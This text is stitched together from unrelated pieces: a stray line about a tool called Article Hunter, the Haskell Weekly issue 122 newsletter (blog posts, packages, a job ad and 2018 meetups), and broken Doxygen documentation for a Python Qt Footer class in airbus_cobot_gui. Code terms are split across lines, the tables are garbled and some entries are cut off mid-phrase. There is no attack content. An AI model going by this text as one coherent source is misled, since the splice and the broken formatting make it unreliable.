(Again, multiple keywords are supported, but please add only one at a time.
An automated, nightly set of results can be found here.
Article Hunter also tracks and stores certain 'trending' data. This data is displayed here.


Issue 122
Welcome to another issue of Haskell Weekly!  This is a weekly summary of what’s going on in its community.
Featured
-
I recently watched a video from The Coding Train on 3D rendering with rotation and projection. It was written in JavaScript using the
p5
library, and showed how to draw 3D graphics using a 2D graphics library. It got me wondering if I could recreate it in Haskell. -
Bit-manipulation operations for high-performance succinct data-structures and CSV parsing
In this blog post I will properly introduce the
popcnt
,pext
,tzcnt
andpdep
operations and how they relate to the performance of our conceptual succinct data-structure based CSV parser. -
Marrying Haskell and hyper-threading
In this blog post, I’d like to tell one story that had happened with one Haskell application. Then explain how we can start threaded RTS, so it is aware of the CPU layout on your system.
-
The post is about the most obvious things a user will run into when upgrading. Thus, we will talk about breaking changes and new ways of doing certain things. Finally, there a bit of benchmarking bravura, because yes, we’re now faster than ever (sometimes a bit faster than Attoparsec).
-
Notes from reading Type Driven Development with Idris
These notes compare Idris code in the book against Haskell. My goal is to write Haskell code very closely mimicking Idris to see the value added by dependent types.
-
Notes on Agda’s termination checker
I’m positively surprised about Agda’s termination checker. I’m working on a larger exercise, and Agda believes my main lemma (which does all the work for one liner theorem) terminates. But I don’t, yet.
-
Package environment files run counter to reproducibility
The “package environment file” feature (silently) introduced into GHC and cabal-install has caused a good deal of discussion already. But it seems we have so far missed one more fundamental issue.
-
Taking a look back: My mistakes in learning Haskell
The course starts next week. But before it does, I wanted to take this opportunity to tell a little bit of the story of how I learned Haskell. I want to share the mistakes I made, since those motivated me to make this course.
-
Roles, safe zero-cost coercions, and
DerivingVia
(Monoid
andFoldable
included) -
What I’ve learned since quitting Elm
In 2015, I spent some of my spare time trying out Elm, to render something simple in the browser and also to run some programs in Node. In this post, I’ll just highlight some of the most important things I’ve learned since the beginning of 2016 by using PureScript.
Jobs
-
Senior User Interface Developer at Awake Security in Sunnyvale, California
We are an early stage startup with a newly released product that is growing and changing as we continue gathering more customer feedback. Our small team of extremely talented and friendly folks is working closely with customers to ensure their success.
In brief
- Announcing Eta v0.8.6b2
- Announcing
genvalidity-hspec-optics
- Eta GSoC 2018 wrap up
- Haskell development workflows 4 ways
- HaskellRank 7: Purely functional solutions to imperative problems
- Kids coding: Part 3
- PureScript: Instance chains and overlapping Instances
- The abstract calculus
- What’s the consensus on Unicode symbols these days?
Packages of the week
- Abstract Calculus: A minimal programming language and model of computation
- BuBBLE: A DSL/LISP dialect written
emacs-module
: A Haskell package for writing Emacs moduleshttp2-client-grpc
: A native HTTP2 gRPC client library- Kiwi: A B+ tree based persistent key-value store
- Termonad: A terminal emulator configurable
- Yaar: An experimental type level framework for bulding type safe web applications
Call for participation
- goat-guardian: get rid of
--redir-after-login-url
command line flag and instead use a URL parameter - stack: Make
snapshot:
a synonym forresolver:
- termonad: Make sure that the example .config/termonad/termonad.hs file in the README actually compiles
Events
- 2018-08-29 in Quito, Ecuador by Quito Lambda: Clasificando algoritmos recursivos
- 2018-08-30 in Durham, NC, USA by Durham Haskell Meetup: Morning Haskell coding session
- 2018-08-30 in Raleigh, NC, USA by Raleigh Haskell Meetup: (hack . yack)
- 2018-08-30 in Seattle, USA by Seattle Area Haskell Users’ Group: Category Theory for Programmers Part 3
- 2018-08-30 in Melbourne, Australia by Melbourne Haskell Users Group: Decomposing - MHUG
- 2018-08-30 in Zürich, Switzerland by HaskellerZ: Bring Your Own Coding Problem #3
- 2018-08-30 in Sheung Wan, Hong Kong by Hong Kong Functional Programming: Fractalide
- 2018-09-01 in Chilliwack, BC, Canada by ChilliHask Haskell User Group: Weekly Haskell Coding Meetup
- 2018-09-01 in Boston, MA, USA by Weekly Functional Programming Meetup: Hang out, chat FP, work on some code
- 2018-09-03 in Irvine, CA by Orange Combinator - Functional Programming In OC: Combinating - The Weekly Function
- 2018-09-03 in Portland, OR, USA by Portland Functional Programming Study Group: PDX Func Practice Track - Parallel and Concurrent Programming in Haskell
- 2018-09-03 in Sydney, Australia by Sydney Type Theory: Separation logic
- 2018-09-03 in Melbourne, Australia by Elm Melbourne: Elm hack night
- 2018-09-04 in Madison, WI, USA by Haskallywags: ReasonML & ReasonReact: X Marks the Spot
- 2018-09-04 in New Orleans, USA by NoFUN - New Orleans Functional Programming: Spark Catalyst: A Functional Query Optimization Engine
- 2018-09-04 in Bristol, United Kingdom by CodeHub Bristol: Hack Night + Haskell Study Group
- 2018-09-04 in Amsterdam, Netherlands by FP AMS: Category theory study group
- 2018-09-05 in Austin, TX, USA by Austin Haskell Users Group: Haskell Beginner-Friendly Lab
- 2018-09-05 in Berlin, Germany by Berlin Haskell Users Group: Haskell Wednesday
- 2018-09-05 in Seattle, WA, USA by Seattle Area Haskell Users’ Group: Haskell Learners’ Group
- 2018-09-05 in Budapest, Hungary by Budapest Haskell User Group: Haskell Book reading group (22th Ed. with Revisions)
- 2018-09-05 in London, ON, Canada by London Functional Programmers (LFP): Destroy All “If”s: An Intro to Declarative Programming
- 2018-09-05 in Chicago, IL, USA by Chicago Elm: Chicago Elm - September Code Night


Footer class inherit QWidget. More...
Public Member Functions | |
| def | __init__ |
| def | resizeEvent |
| Redefinit QWidget method called when applie size changed. More... | |
| def | set_maximum_height |
| def | update_alarm |
| Methode called when alarm emit signal. More... | |
Public Attributes | |
| central_layout | |
Static Public Attributes | |
| CLOSED = False | |
| OPENED = True | |
Private Member Functions | |
| def | _trigger |
Private Attributes | |
| _alarm_label | |
| _alarm_message | |
| _container_layout_widget | |
| _header_widget | |
| _ico_swith | |
| _maximum_height | |
| _minimum_height | |
| _slider | |
| _status | |
Footer class inherit QWidget.
This class install and display all gadgets registered in section <footer>
| def airbus_cobot_gui.footer.Footer_v2.__init__ | ( | self, | |
parent = None |
|||
| ) |
|
private |
| def airbus_cobot_gui.footer.Footer_v2.resizeEvent | ( | self, | |
| event | |||
| ) |
| def airbus_cobot_gui.footer.Footer_v2.set_maximum_height | ( | self, | |
| h | |||
| ) |
| def airbus_cobot_gui.footer.Footer_v2.update_alarm | ( | self, | |
| alarm | |||
| ) |
|
private |